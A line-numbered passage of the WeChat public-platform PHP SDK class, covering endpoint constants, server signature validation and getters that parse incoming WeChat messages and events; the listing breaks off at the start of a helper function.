文件地址:

https://github.com/dodgepudding/wechat-php-sdk/raw/master/wechat.class.php

代码:

  1. <?php
  2. /**
  3. * 微信公众平台PHP-SDK, 官方API部分
  4. * @author dodge <dodgepudding@gmail.com>
  5. * @link https://github.com/dodgepudding/wechat-php-sdk
  6. * @version 1.2
  7. * usage:
  8. * $options = array(
  9. * 'token'=>'tokenaccesskey', //填写你设定的key
  10. * 'encodingaeskey'=>'encodingaeskey', //填写加密用的EncodingAESKey
  11. * 'appid'=>'wxdk1234567890', //填写高级调用功能的app id
  12. * 'appsecret'=>'xxxxxxxxxxxxxxxxxxx' //填写高级调用功能的密钥
  13. * );
  14. * $weObj = new Wechat($options);
  15. * $weObj->valid();
  16. * $type = $weObj->getRev()->getRevType();
  17. * switch($type) {
  18. * case Wechat::MSGTYPE_TEXT:
  19. * $weObj->text("hello, I'm wechat")->reply();
  20. * exit;
  21. * break;
  22. * case Wechat::MSGTYPE_EVENT:
  23. * ....
  24. * break;
  25. * case Wechat::MSGTYPE_IMAGE:
  26. * ...
  27. * break;
  28. * default:
  29. * $weObj->text("help info")->reply();
  30. * }
  31. *
  32. * //获取菜单操作:
  33. * $menu = $weObj->getMenu();
  34. * //设置菜单
  35. * $newmenu = array(
  36. * "button"=>
  37. * array(
  38. * array('type'=>'click','name'=>'最新消息','key'=>'MENU_KEY_NEWS'),
  39. * array('type'=>'view','name'=>'我要搜索','url'=>'http://www.baidu.com'),
  40. * )
  41. * );
  42. * $result = $weObj->createMenu($newmenu);
  43. */
  44. class Wechat
  45. {
  46. const MSGTYPE_TEXT = 'text';
  47. const MSGTYPE_IMAGE = 'image';
  48. const MSGTYPE_LOCATION = 'location';
  49. const MSGTYPE_LINK = 'link';
  50. const MSGTYPE_EVENT = 'event';
  51. const MSGTYPE_MUSIC = 'music';
  52. const MSGTYPE_NEWS = 'news';
  53. const MSGTYPE_VOICE = 'voice';
  54. const MSGTYPE_VIDEO = 'video';
  55. const EVENT_SUBSCRIBE = 'subscribe'; //订阅
  56. const EVENT_UNSUBSCRIBE = 'unsubscribe'; //取消订阅
  57. const EVENT_SCAN = 'SCAN'; //扫描带参数二维码
  58. const EVENT_LOCATION = 'LOCATION'; //上报地理位置
  59. const EVENT_MENU_VIEW = 'VIEW'; //菜单 - 点击菜单跳转链接
  60. const EVENT_MENU_CLICK = 'CLICK'; //菜单 - 点击菜单拉取消息
  61. const EVENT_MENU_SCAN_PUSH = 'scancode_push'; //菜单 - 扫码推事件(客户端跳URL)
  62. const EVENT_MENU_SCAN_WAITMSG = 'scancode_waitmsg'; //菜单 - 扫码推事件(客户端不跳URL)
  63. const EVENT_MENU_PIC_SYS = 'pic_sysphoto'; //菜单 - 弹出系统拍照发图
  64. const EVENT_MENU_PIC_PHOTO = 'pic_photo_or_album'; //菜单 - 弹出拍照或者相册发图
  65. const EVENT_MENU_PIC_WEIXIN = 'pic_weixin'; //菜单 - 弹出微信相册发图器
  66. const EVENT_MENU_LOCATION = 'location_select'; //菜单 - 弹出地理位置选择器
  67. const EVENT_SEND_MASS = 'MASSSENDJOBFINISH'; //发送结果 - 高级群发完成
  68. const EVENT_SEND_TEMPLATE = 'TEMPLATESENDJOBFINISH';//发送结果 - 模板消息发送结果
  69. const EVENT_KF_SEESION_CREATE = 'kfcreatesession'; //多客服 - 接入会话
  70. const EVENT_KF_SEESION_CLOSE = 'kfclosesession'; //多客服 - 关闭会话
  71. const EVENT_KF_SEESION_SWITCH = 'kfswitchsession'; //多客服 - 转接会话
  72. const EVENT_CARD_PASS = 'card_pass_check'; //卡券 - 审核通过
  73. const EVENT_CARD_NOTPASS = 'card_not_pass_check'; //卡券 - 审核未通过
  74. const EVENT_CARD_USER_GET = 'user_get_card'; //卡券 - 用户领取卡券
  75. const EVENT_CARD_USER_DEL = 'user_del_card'; //卡券 - 用户删除卡券
  76. const API_URL_PREFIX = 'https://api.weixin.qq.com/cgi-bin';
  77. const AUTH_URL = '/token?grant_type=client_credential&';
  78. const MENU_CREATE_URL = '/menu/create?';
  79. const MENU_GET_URL = '/menu/get?';
  80. const MENU_DELETE_URL = '/menu/delete?';
  81. const GET_TICKET_URL = '/ticket/getticket?';
  82. const CALLBACKSERVER_GET_URL = '/getcallbackip?';
  83. const QRCODE_CREATE_URL='/qrcode/create?';
  84. const QR_SCENE = 0;
  85. const QR_LIMIT_SCENE = 1;
  86. const QRCODE_IMG_URL='https://mp.weixin.qq.com/cgi-bin/showqrcode?ticket=';
  87. const SHORT_URL='/shorturl?';
  88. const USER_GET_URL='/user/get?';
  89. const USER_INFO_URL='/user/info?';
  90. const USER_UPDATEREMARK_URL='/user/info/updateremark?';
  91. const GROUP_GET_URL='/groups/get?';
  92. const USER_GROUP_URL='/groups/getid?';
  93. const GROUP_CREATE_URL='/groups/create?';
  94. const GROUP_UPDATE_URL='/groups/update?';
  95. const GROUP_MEMBER_UPDATE_URL='/groups/members/update?';
  96. const GROUP_MEMBER_BATCHUPDATE_URL='/groups/members/batchupdate?';
  97. const CUSTOM_SEND_URL='/message/custom/send?';
  98. const MEDIA_UPLOADNEWS_URL = '/media/uploadnews?';
  99. const MASS_SEND_URL = '/message/mass/send?';
  100. const TEMPLATE_SET_INDUSTRY_URL = '/message/template/api_set_industry?';
  101. const TEMPLATE_ADD_TPL_URL = '/message/template/api_add_template?';
  102. const TEMPLATE_SEND_URL = '/message/template/send?';
  103. const MASS_SEND_GROUP_URL = '/message/mass/sendall?';
  104. const MASS_DELETE_URL = '/message/mass/delete?';
  105. const MASS_PREVIEW_URL = '/message/mass/preview?';
  106. const MASS_QUERY_URL = '/message/mass/get?';
  107. const UPLOAD_MEDIA_URL = 'http://file.api.weixin.qq.com/cgi-bin';
  108. const MEDIA_UPLOAD_URL = '/media/upload?';
  109. const MEDIA_UPLOADIMG_URL = '/media/uploadimg?';//图片上传接口
  110. const MEDIA_GET_URL = '/media/get?';
  111. const MEDIA_VIDEO_UPLOAD = '/media/uploadvideo?';
  112. const MEDIA_FOREVER_UPLOAD_URL = '/material/add_material?';
  113. const MEDIA_FOREVER_NEWS_UPLOAD_URL = '/material/add_news?';
  114. const MEDIA_FOREVER_NEWS_UPDATE_URL = '/material/update_news?';
  115. const MEDIA_FOREVER_GET_URL = '/material/get_material?';
  116. const MEDIA_FOREVER_DEL_URL = '/material/del_material?';
  117. const MEDIA_FOREVER_COUNT_URL = '/material/get_materialcount?';
  118. const MEDIA_FOREVER_BATCHGET_URL = '/material/batchget_material?';
  119. const OAUTH_PREFIX = 'https://open.weixin.qq.com/connect/oauth2';
  120. const OAUTH_AUTHORIZE_URL = '/authorize?';
  121. ///多客服相关地址
  122. const CUSTOM_SERVICE_GET_RECORD = '/customservice/getrecord?';
  123. const CUSTOM_SERVICE_GET_KFLIST = '/customservice/getkflist?';
  124. const CUSTOM_SERVICE_GET_ONLINEKFLIST = '/customservice/getonlinekflist?';
  125. const API_BASE_URL_PREFIX = 'https://api.weixin.qq.com'; //以下API接口URL需要使用此前缀
  126. const OAUTH_TOKEN_URL = '/sns/oauth2/access_token?';
  127. const OAUTH_REFRESH_URL = '/sns/oauth2/refresh_token?';
  128. const OAUTH_USERINFO_URL = '/sns/userinfo?';
  129. const OAUTH_AUTH_URL = '/sns/auth?';
  130. ///多客服相关地址
  131. const CUSTOM_SESSION_CREATE = '/customservice/kfsession/create?';
  132. const CUSTOM_SESSION_CLOSE = '/customservice/kfsession/close?';
  133. const CUSTOM_SESSION_SWITCH = '/customservice/kfsession/switch?';
  134. const CUSTOM_SESSION_GET = '/customservice/kfsession/getsession?';
  135. const CUSTOM_SESSION_GET_LIST = '/customservice/kfsession/getsessionlist?';
  136. const CUSTOM_SESSION_GET_WAIT = '/customservice/kfsession/getwaitcase?';
  137. const CS_KF_ACCOUNT_ADD_URL = '/customservice/kfaccount/add?';
  138. const CS_KF_ACCOUNT_UPDATE_URL = '/customservice/kfaccount/update?';
  139. const CS_KF_ACCOUNT_DEL_URL = '/customservice/kfaccount/del?';
  140. const CS_KF_ACCOUNT_UPLOAD_HEADIMG_URL = '/customservice/kfaccount/uploadheadimg?';
  141. ///卡券相关地址
  142. const CARD_CREATE = '/card/create?';
  143. const CARD_DELETE = '/card/delete?';
  144. const CARD_UPDATE = '/card/update?';
  145. const CARD_GET = '/card/get?';
  146. const CARD_BATCHGET = '/card/batchget?';
  147. const CARD_MODIFY_STOCK = '/card/modifystock?';
  148. const CARD_LOCATION_BATCHADD = '/card/location/batchadd?';
  149. const CARD_LOCATION_BATCHGET = '/card/location/batchget?';
  150. const CARD_GETCOLORS = '/card/getcolors?';
  151. const CARD_QRCODE_CREATE = '/card/qrcode/create?';
  152. const CARD_CODE_CONSUME = '/card/code/consume?';
  153. const CARD_CODE_DECRYPT = '/card/code/decrypt?';
  154. const CARD_CODE_GET = '/card/code/get?';
  155. const CARD_CODE_UPDATE = '/card/code/update?';
  156. const CARD_CODE_UNAVAILABLE = '/card/code/unavailable?';
  157. const CARD_TESTWHILELIST_SET = '/card/testwhitelist/set?';
  158. const CARD_MEETINGCARD_UPDATEUSER = '/card/meetingticket/updateuser?'; //更新会议门票
  159. const CARD_MEMBERCARD_ACTIVATE = '/card/membercard/activate?'; //激活会员卡
  160. const CARD_MEMBERCARD_UPDATEUSER = '/card/membercard/updateuser?'; //更新会员卡
  161. const CARD_MOVIETICKET_UPDATEUSER = '/card/movieticket/updateuser?'; //更新电影票(未加方法)
  162. const CARD_BOARDINGPASS_CHECKIN = '/card/boardingpass/checkin?'; //飞机票-在线选座(未加方法)
  163. const CARD_LUCKYMONEY_UPDATE = '/card/luckymoney/updateuserbalance?'; //更新红包金额
  164. const SEMANTIC_API_URL = '/semantic/semproxy/search?'; //语义理解
  165. ///数据分析接口
  166. static $DATACUBE_URL_ARR = array( //用户分析
  167. 'user' => array(
  168. 'summary' => '/datacube/getusersummary?', //获取用户增减数据(getusersummary)
  169. 'cumulate' => '/datacube/getusercumulate?', //获取累计用户数据(getusercumulate)
  170. ),
  171. 'article' => array( //图文分析
  172. 'summary' => '/datacube/getarticlesummary?', //获取图文群发每日数据(getarticlesummary)
  173. 'total' => '/datacube/getarticletotal?', //获取图文群发总数据(getarticletotal)
  174. 'read' => '/datacube/getuserread?', //获取图文统计数据(getuserread)
  175. 'readhour' => '/datacube/getuserreadhour?', //获取图文统计分时数据(getuserreadhour)
  176. 'share' => '/datacube/getusershare?', //获取图文分享转发数据(getusershare)
  177. 'sharehour' => '/datacube/getusersharehour?', //获取图文分享转发分时数据(getusersharehour)
  178. ),
  179. 'upstreammsg' => array( //消息分析
  180. 'summary' => '/datacube/getupstreammsg?', //获取消息发送概况数据(getupstreammsg)
  181. 'hour' => '/datacube/getupstreammsghour?', //获取消息分送分时数据(getupstreammsghour)
  182. 'week' => '/datacube/getupstreammsgweek?', //获取消息发送周数据(getupstreammsgweek)
  183. 'month' => '/datacube/getupstreammsgmonth?', //获取消息发送月数据(getupstreammsgmonth)
  184. 'dist' => '/datacube/getupstreammsgdist?', //获取消息发送分布数据(getupstreammsgdist)
  185. 'distweek' => '/datacube/getupstreammsgdistweek?', //获取消息发送分布周数据(getupstreammsgdistweek)
  186. 'distmonth' => '/datacube/getupstreammsgdistmonth?', //获取消息发送分布月数据(getupstreammsgdistmonth)
  187. ),
  188. 'interface' => array( //接口分析
  189. 'summary' => '/datacube/getinterfacesummary?', //获取接口分析数据(getinterfacesummary)
  190. 'summaryhour' => '/datacube/getinterfacesummaryhour?', //获取接口分析分时数据(getinterfacesummaryhour)
  191. )
  192. );
  193. ///微信摇一摇周边
  194. const SHAKEAROUND_DEVICE_APPLYID = '/shakearound/device/applyid?';//申请设备ID
  195. const SHAKEAROUND_DEVICE_UPDATE = '/shakearound/device/update?';//编辑设备信息
  196. const SHAKEAROUND_DEVICE_SEARCH = '/shakearound/device/search?';//查询设备列表
  197. const SHAKEAROUND_DEVICE_BINDLOCATION = '/shakearound/device/bindlocation?';//配置设备与门店ID的关系
  198. const SHAKEAROUND_DEVICE_BINDPAGE = '/shakearound/device/bindpage?';//配置设备与页面的绑定关系
  199. const SHAKEAROUND_MATERIAL_ADD = '/shakearound/material/add?';//上传摇一摇图片素材
  200. const SHAKEAROUND_PAGE_ADD = '/shakearound/page/add?';//增加页面
  201. const SHAKEAROUND_PAGE_UPDATE = '/shakearound/page/update?';//编辑页面
  202. const SHAKEAROUND_PAGE_SEARCH = '/shakearound/page/search?';//查询页面列表
  203. const SHAKEAROUND_PAGE_DELETE = '/shakearound/page/delete?';//删除页面
  204. const SHAKEAROUND_USER_GETSHAKEINFO = '/shakearound/user/getshakeinfo?';//获取摇周边的设备及用户信息
  205. const SHAKEAROUND_STATISTICS_DEVICE = '/shakearound/statistics/device?';//以设备为维度的数据统计接口
  206. const SHAKEAROUND_STATISTICS_PAGE = '/shakearound/statistics/page?';//以页面为维度的数据统计接口
  207.  
  208. private $token;
  209. private $encodingAesKey;
  210. private $encrypt_type;
  211. private $appid;
  212. private $appsecret;
  213. private $access_token;
  214. private $jsapi_ticket;
  215. private $api_ticket;
  216. private $user_token;
  217. private $partnerid;
  218. private $partnerkey;
  219. private $paysignkey;
  220. private $postxml;
  221. private $_msg;
  222. private $_funcflag = false;
  223. private $_receive;
  224. private $_text_filter = true;
  225. public $debug = false;
  226. public $errCode = 40001;
  227. public $errMsg = "no access";
  228. public $logcallback;
  229.  
  230. public function __construct($options)
  231. {
  232. $this->token = isset($options['token'])?$options['token']:'';
  233. $this->encodingAesKey = isset($options['encodingaeskey'])?$options['encodingaeskey']:'';
  234. $this->appid = isset($options['appid'])?$options['appid']:'';
  235. $this->appsecret = isset($options['appsecret'])?$options['appsecret']:'';
  236. $this->debug = isset($options['debug'])?$options['debug']:false;
  237. $this->logcallback = isset($options['logcallback'])?$options['logcallback']:false;
  238. }
  239.  
  240. /**
  241. * For weixin server validation
  242. */
  243. private function checkSignature($str='')
  244. {
  245. $signature = isset($_GET["signature"])?$_GET["signature"]:'';
  246. $signature = isset($_GET["msg_signature"])?$_GET["msg_signature"]:$signature; //如果存在加密验证则用加密验证段
  247. $timestamp = isset($_GET["timestamp"])?$_GET["timestamp"]:'';
  248. $nonce = isset($_GET["nonce"])?$_GET["nonce"]:'';
  249.  
  250. $token = $this->token;
  251. $tmpArr = array($token, $timestamp, $nonce,$str);
  252. sort($tmpArr, SORT_STRING);
  253. $tmpStr = implode( $tmpArr );
  254. $tmpStr = sha1( $tmpStr );
  255.  
  256. if( $tmpStr == $signature ){
  257. return true;
  258. }else{
  259. return false;
  260. }
  261. }
  262.  
  263. /**
  264. * For weixin server validation
  265. * @param bool $return 是否返回
  266. */
  267. public function valid($return=false)
  268. {
  269. $encryptStr="";
  270. if ($_SERVER['REQUEST_METHOD'] == "POST") {
  271. $postStr = file_get_contents("php://input");
  272. $array = (array)simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
  273. $this->encrypt_type = isset($_GET["encrypt_type"]) ? $_GET["encrypt_type"]: '';
  274. if ($this->encrypt_type == 'aes') { //aes加密
  275. $this->log($postStr);
  276. $encryptStr = $array['Encrypt'];
  277. $pc = new Prpcrypt($this->encodingAesKey);
  278. $array = $pc->decrypt($encryptStr,$this->appid);
  279. if (!isset($array[0]) || ($array[0] != 0)) {
  280. if (!$return) {
  281. die('decrypt error!');
  282. } else {
  283. return false;
  284. }
  285. }
  286. $this->postxml = $array[1];
  287. if (!$this->appid)
  288. $this->appid = $array[2];//为了没有appid的订阅号。
  289. } else {
  290. $this->postxml = $postStr;
  291. }
  292. } elseif (isset($_GET["echostr"])) {
  293. $echoStr = $_GET["echostr"];
  294. if ($return) {
  295. if ($this->checkSignature())
  296. return $echoStr;
  297. else
  298. return false;
  299. } else {
  300. if ($this->checkSignature())
  301. die($echoStr);
  302. else
  303. die('no access');
  304. }
  305. }
  306.  
  307. if (!$this->checkSignature($encryptStr)) {
  308. if ($return)
  309. return false;
  310. else
  311. die('no access');
  312. }
  313. return true;
  314. }
  315.  
  316. /**
  317. * 设置发送消息
  318. * @param array $msg 消息数组
  319. * @param bool $append 是否在原消息数组追加
  320. */
  321. public function Message($msg = '',$append = false){
  322. if (is_null($msg)) {
  323. $this->_msg =array();
  324. }elseif (is_array($msg)) {
  325. if ($append)
  326. $this->_msg = array_merge($this->_msg,$msg);
  327. else
  328. $this->_msg = $msg;
  329. return $this->_msg;
  330. } else {
  331. return $this->_msg;
  332. }
  333. }
  334.  
  335. /**
  336. * 设置消息的星标标志,官方已取消对此功能的支持
  337. */
  338. public function setFuncFlag($flag) {
  339. $this->_funcflag = $flag;
  340. return $this;
  341. }
  342.  
  343. /**
  344. * 日志记录,可被重载。
  345. * @param mixed $log 输入日志
  346. * @return mixed
  347. */
  348. protected function log($log){
  349. if ($this->debug && function_exists($this->logcallback)) {
  350. if (is_array($log)) $log = print_r($log,true);
  351. return call_user_func($this->logcallback,$log);
  352. }
  353. }
  354.  
  355. /**
  356. * 获取微信服务器发来的信息
  357. */
  358. public function getRev()
  359. {
  360. if ($this->_receive) return $this;
  361. $postStr = !empty($this->postxml)?$this->postxml:file_get_contents("php://input");
  362. //兼顾使用明文又不想调用valid()方法的情况
  363. $this->log($postStr);
  364. if (!empty($postStr)) {
  365. $this->_receive = (array)simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
  366. }
  367. return $this;
  368. }
  369.  
  370. /**
  371. * 获取微信服务器发来的信息
  372. */
  373. public function getRevData()
  374. {
  375. return $this->_receive;
  376. }
  377.  
  378. /**
  379. * 获取消息发送者
  380. */
  381. public function getRevFrom() {
  382. if (isset($this->_receive['FromUserName']))
  383. return $this->_receive['FromUserName'];
  384. else
  385. return false;
  386. }
  387.  
  388. /**
  389. * 获取消息接受者
  390. */
  391. public function getRevTo() {
  392. if (isset($this->_receive['ToUserName']))
  393. return $this->_receive['ToUserName'];
  394. else
  395. return false;
  396. }
  397.  
  398. /**
  399. * 获取接收消息的类型
  400. */
  401. public function getRevType() {
  402. if (isset($this->_receive['MsgType']))
  403. return $this->_receive['MsgType'];
  404. else
  405. return false;
  406. }
  407.  
  408. /**
  409. * 获取消息ID
  410. */
  411. public function getRevID() {
  412. if (isset($this->_receive['MsgId']))
  413. return $this->_receive['MsgId'];
  414. else
  415. return false;
  416. }
  417.  
  418. /**
  419. * 获取消息发送时间
  420. */
  421. public function getRevCtime() {
  422. if (isset($this->_receive['CreateTime']))
  423. return $this->_receive['CreateTime'];
  424. else
  425. return false;
  426. }
  427.  
  428. /**
  429. * 获取接收消息内容正文
  430. */
  431. public function getRevContent(){
  432. if (isset($this->_receive['Content']))
  433. return $this->_receive['Content'];
  434. else if (isset($this->_receive['Recognition'])) //获取语音识别文字内容,需申请开通
  435. return $this->_receive['Recognition'];
  436. else
  437. return false;
  438. }
  439.  
  440. /**
  441. * 获取接收消息图片
  442. */
  443. public function getRevPic(){
  444. if (isset($this->_receive['PicUrl']))
  445. return array(
  446. 'mediaid'=>$this->_receive['MediaId'],
  447. 'picurl'=>(string)$this->_receive['PicUrl'], //防止picurl为空导致解析出错
  448. );
  449. else
  450. return false;
  451. }
  452.  
  453. /**
  454. * 获取接收消息链接
  455. */
  456. public function getRevLink(){
  457. if (isset($this->_receive['Url'])){
  458. return array(
  459. 'url'=>$this->_receive['Url'],
  460. 'title'=>$this->_receive['Title'],
  461. 'description'=>$this->_receive['Description']
  462. );
  463. } else
  464. return false;
  465. }
  466.  
  467. /**
  468. * 获取接收地理位置
  469. */
  470. public function getRevGeo(){
  471. if (isset($this->_receive['Location_X'])){
  472. return array(
  473. 'x'=>$this->_receive['Location_X'],
  474. 'y'=>$this->_receive['Location_Y'],
  475. 'scale'=>$this->_receive['Scale'],
  476. 'label'=>$this->_receive['Label']
  477. );
  478. } else
  479. return false;
  480. }
  481.  
  482. /**
  483. * 获取上报地理位置事件
  484. */
  485. public function getRevEventGeo(){
  486. if (isset($this->_receive['Latitude'])){
  487. return array(
  488. 'x'=>$this->_receive['Latitude'],
  489. 'y'=>$this->_receive['Longitude'],
  490. 'precision'=>$this->_receive['Precision'],
  491. );
  492. } else
  493. return false;
  494. }
  495.  
  496. /**
  497. * 获取接收事件推送
  498. */
  499. public function getRevEvent(){
  500. if (isset($this->_receive['Event'])){
  501. $array['event'] = $this->_receive['Event'];
  502. }
  503. if (isset($this->_receive['EventKey'])){
  504. $array['key'] = $this->_receive['EventKey'];
  505. }
  506. if (isset($array) && count($array) > 0) {
  507. return $array;
  508. } else {
  509. return false;
  510. }
  511. }
  512.  
  513. /**
  514. * 获取自定义菜单的扫码推事件信息
  515. *
  516. * 事件类型为以下两种时则调用此方法有效
  517. * Event 事件类型,scancode_push
  518. * Event 事件类型,scancode_waitmsg
  519. *
  520. * @return: array | false
  521. * array (
  522. * 'ScanType'=>'qrcode',
  523. * 'ScanResult'=>'123123'
  524. * )
  525. */
  526. public function getRevScanInfo(){
  527. if (isset($this->_receive['ScanCodeInfo'])){
  528. if (!is_array($this->_receive['ScanCodeInfo'])) {
  529. $array=(array)$this->_receive['ScanCodeInfo'];
  530. $this->_receive['ScanCodeInfo']=$array;
  531. }else {
  532. $array=$this->_receive['ScanCodeInfo'];
  533. }
  534. }
  535. if (isset($array) && count($array) > 0) {
  536. return $array;
  537. } else {
  538. return false;
  539. }
  540. }
  541.  
  542. /**
  543. * 获取自定义菜单的图片发送事件信息
  544. *
  545. * 事件类型为以下三种时则调用此方法有效
  546. * Event 事件类型,pic_sysphoto 弹出系统拍照发图的事件推送
  547. * Event 事件类型,pic_photo_or_album 弹出拍照或者相册发图的事件推送
  548. * Event 事件类型,pic_weixin 弹出微信相册发图器的事件推送
  549. *
  550. * @return: array | false
  551. * array (
  552. * 'Count' => '2',
  553. * 'PicList' =>array (
  554. * 'item' =>array (
  555. * 0 =>array ('PicMd5Sum' => 'aaae42617cf2a14342d96005af53624c'),
  556. * 1 =>array ('PicMd5Sum' => '149bd39e296860a2adc2f1bb81616ff8'),
  557. * ),
  558. * ),
  559. * )
  560. *
  561. */
  562. public function getRevSendPicsInfo(){
  563. if (isset($this->_receive['SendPicsInfo'])){
  564. if (!is_array($this->_receive['SendPicsInfo'])) {
  565. $array=(array)$this->_receive['SendPicsInfo'];
  566. if (isset($array['PicList'])){
  567. $array['PicList']=(array)$array['PicList'];
  568. $item=$array['PicList']['item'];
  569. $array['PicList']['item']=array();
  570. foreach ( $item as $key => $value ){
  571. $array['PicList']['item'][$key]=(array)$value;
  572. }
  573. }
  574. $this->_receive['SendPicsInfo']=$array;
  575. } else {
  576. $array=$this->_receive['SendPicsInfo'];
  577. }
  578. }
  579. if (isset($array) && count($array) > 0) {
  580. return $array;
  581. } else {
  582. return false;
  583. }
  584. }
  585.  
  586. /**
  587. * 获取自定义菜单的地理位置选择器事件推送
  588. *
  589. * 事件类型为以下时则可以调用此方法有效
  590. * Event 事件类型,location_select 弹出地理位置选择器的事件推送
  591. *
  592. * @return: array | false
  593. * array (
  594. * 'Location_X' => '33.731655000061',
  595. * 'Location_Y' => '113.29955200008047',
  596. * 'Scale' => '16',
  597. * 'Label' => '某某市某某区某某路',
  598. * 'Poiname' => '',
  599. * )
  600. *
  601. */
  602. public function getRevSendGeoInfo(){
  603. if (isset($this->_receive['SendLocationInfo'])){
  604. if (!is_array($this->_receive['SendLocationInfo'])) {
  605. $array=(array)$this->_receive['SendLocationInfo'];
  606. if (empty($array['Poiname'])) {
  607. $array['Poiname']="";
  608. }
  609. if (empty($array['Label'])) {
  610. $array['Label']="";
  611. }
  612. $this->_receive['SendLocationInfo']=$array;
  613. } else {
  614. $array=$this->_receive['SendLocationInfo'];
  615. }
  616. }
  617. if (isset($array) && count($array) > 0) {
  618. return $array;
  619. } else {
  620. return false;
  621. }
  622. }
  623.  
  624. /**
  625. * 获取接收语音推送
  626. */
  627. public function getRevVoice(){
  628. if (isset($this->_receive['MediaId'])){
  629. return array(
  630. 'mediaid'=>$this->_receive['MediaId'],
  631. 'format'=>$this->_receive['Format'],
  632. );
  633. } else
  634. return false;
  635. }
  636.  
  637. /**
  638. * 获取接收视频推送
  639. */
  640. public function getRevVideo(){
  641. if (isset($this->_receive['MediaId'])){
  642. return array(
  643. 'mediaid'=>$this->_receive['MediaId'],
  644. 'thumbmediaid'=>$this->_receive['ThumbMediaId']
  645. );
  646. } else
  647. return false;
  648. }
  649.  
  650. /**
  651. * 获取接收TICKET
  652. */
  653. public function getRevTicket(){
  654. if (isset($this->_receive['Ticket'])){
  655. return $this->_receive['Ticket'];
  656. } else
  657. return false;
  658. }
  659.  
  660. /**
  661. * 获取二维码的场景值
  662. */
  663. public function getRevSceneId (){
  664. if (isset($this->_receive['EventKey'])){
  665. return str_replace('qrscene_','',$this->_receive['EventKey']);
  666. } else{
  667. return false;
  668. }
  669. }
  670.  
  671. /**
  672. * 获取主动推送的消息ID
  673. * 经过验证,这个和普通的消息MsgId不一样
  674. * 当Event为 MASSSENDJOBFINISH 或 TEMPLATESENDJOBFINISH
  675. */
  676. public function getRevTplMsgID(){
  677. if (isset($this->_receive['MsgID'])){
  678. return $this->_receive['MsgID'];
  679. } else
  680. return false;
  681. }
  682.  
  683. /**
  684. * 获取模板消息发送状态
  685. */
  686. public function getRevStatus(){
  687. if (isset($this->_receive['Status'])){
  688. return $this->_receive['Status'];
  689. } else
  690. return false;
  691. }
  692.  
  693. /**
  694. * 获取群发或模板消息发送结果
  695. * 当Event为 MASSSENDJOBFINISH 或 TEMPLATESENDJOBFINISH,即高级群发/模板消息
  696. */
  697. public function getRevResult(){
  698. if (isset($this->_receive['Status'])) //发送是否成功,具体的返回值请参考 高级群发/模板消息 的事件推送说明
  699. $array['Status'] = $this->_receive['Status'];
  700. if (isset($this->_receive['MsgID'])) //发送的消息id
  701. $array['MsgID'] = $this->_receive['MsgID'];
  702.  
  703. //以下仅当群发消息时才会有的事件内容
  704. if (isset($this->_receive['TotalCount'])) //分组或openid列表内粉丝数量
  705. $array['TotalCount'] = $this->_receive['TotalCount'];
  706. if (isset($this->_receive['FilterCount'])) //过滤(过滤是指特定地区、性别的过滤、用户设置拒收的过滤,用户接收已超4条的过滤)后,准备发送的粉丝数
  707. $array['FilterCount'] = $this->_receive['FilterCount'];
  708. if (isset($this->_receive['SentCount'])) //发送成功的粉丝数
  709. $array['SentCount'] = $this->_receive['SentCount'];
  710. if (isset($this->_receive['ErrorCount'])) //发送失败的粉丝数
  711. $array['ErrorCount'] = $this->_receive['ErrorCount'];
  712. if (isset($array) && count($array) > 0) {
  713. return $array;
  714. } else {
  715. return false;
  716. }
  717. }
  718.  
  719. /**
  720. * 获取多客服会话状态推送事件 - 接入会话
  721. * 当Event为 kfcreatesession 即接入会话
  722. * @return string | boolean 返回分配到的客服
  723. */
  724. public function getRevKFCreate(){
  725. if (isset($this->_receive['KfAccount'])){
  726. return $this->_receive['KfAccount'];
  727. } else
  728. return false;
  729. }
  730.  
  731. /**
  732. * 获取多客服会话状态推送事件 - 关闭会话
  733. * 当Event为 kfclosesession 即关闭会话
  734. * @return string | boolean 返回分配到的客服
  735. */
  736. public function getRevKFClose(){
  737. if (isset($this->_receive['KfAccount'])){
  738. return $this->_receive['KfAccount'];
  739. } else
  740. return false;
  741. }
  742.  
  743. /**
  744. * 获取多客服会话状态推送事件 - 转接会话
  745. * 当Event为 kfswitchsession 即转接会话
  746. * @return array | boolean 返回分配到的客服
  747. * {
  748. * 'FromKfAccount' => '', //原接入客服
  749. * 'ToKfAccount' => '' //转接到客服
  750. * }
  751. */
  752. public function getRevKFSwitch(){
  753. if (isset($this->_receive['FromKfAccount'])) //原接入客服
  754. $array['FromKfAccount'] = $this->_receive['FromKfAccount'];
  755. if (isset($this->_receive['ToKfAccount'])) //转接到客服
  756. $array['ToKfAccount'] = $this->_receive['ToKfAccount'];
  757. if (isset($array) && count($array) > 0) {
  758. return $array;
  759. } else {
  760. return false;
  761. }
  762. }
  763.  
  764. /**
  765. * 获取卡券事件推送 - 卡卷审核是否通过
  766. * 当Event为 card_pass_check(审核通过) 或 card_not_pass_check(未通过)
  767. * @return string|boolean 返回卡券ID
  768. */
  769. public function getRevCardPass(){
  770. if (isset($this->_receive['CardId']))
  771. return $this->_receive['CardId'];
  772. else
  773. return false;
  774. }
  775.  
  776. /**
  777. * 获取卡券事件推送 - 领取卡券
  778. * 当Event为 user_get_card(用户领取卡券)
  779. * @return array|boolean
  780. */
  781. public function getRevCardGet(){
  782. if (isset($this->_receive['CardId'])) //卡券 ID
  783. $array['CardId'] = $this->_receive['CardId'];
  784. if (isset($this->_receive['IsGiveByFriend'])) //是否为转赠,1 代表是,0 代表否。
  785. $array['IsGiveByFriend'] = $this->_receive['IsGiveByFriend'];
  786. $array['OldUserCardCode'] = $this->_receive['OldUserCardCode'];
  787. if (isset($this->_receive['UserCardCode']) && !empty($this->_receive['UserCardCode'])) //code 序列号。自定义 code 及非自定义 code的卡券被领取后都支持事件推送。
  788. $array['UserCardCode'] = $this->_receive['UserCardCode'];
  789. if (isset($array) && count($array) > 0) {
  790. return $array;
  791. } else {
  792. return false;
  793. }
  794. }
  795.  
  796. /**
  797. * 获取卡券事件推送 - 删除卡券
  798. * 当Event为 user_del_card(用户删除卡券)
  799. * @return array|boolean
  800. */
  801. public function getRevCardDel(){
  802. if (isset($this->_receive['CardId'])) //卡券 ID
  803. $array['CardId'] = $this->_receive['CardId'];
  804. if (isset($this->_receive['UserCardCode']) && !empty($this->_receive['UserCardCode'])) //code 序列号。自定义 code 及非自定义 code的卡券被领取后都支持事件推送。
  805. $array['UserCardCode'] = $this->_receive['UserCardCode'];
  806. if (isset($array) && count($array) > 0) {
  807. return $array;
  808. } else {
  809. return false;
  810. }
  811. }
  812.  
  813. public static function xmlSafeStr($str)
  814. {
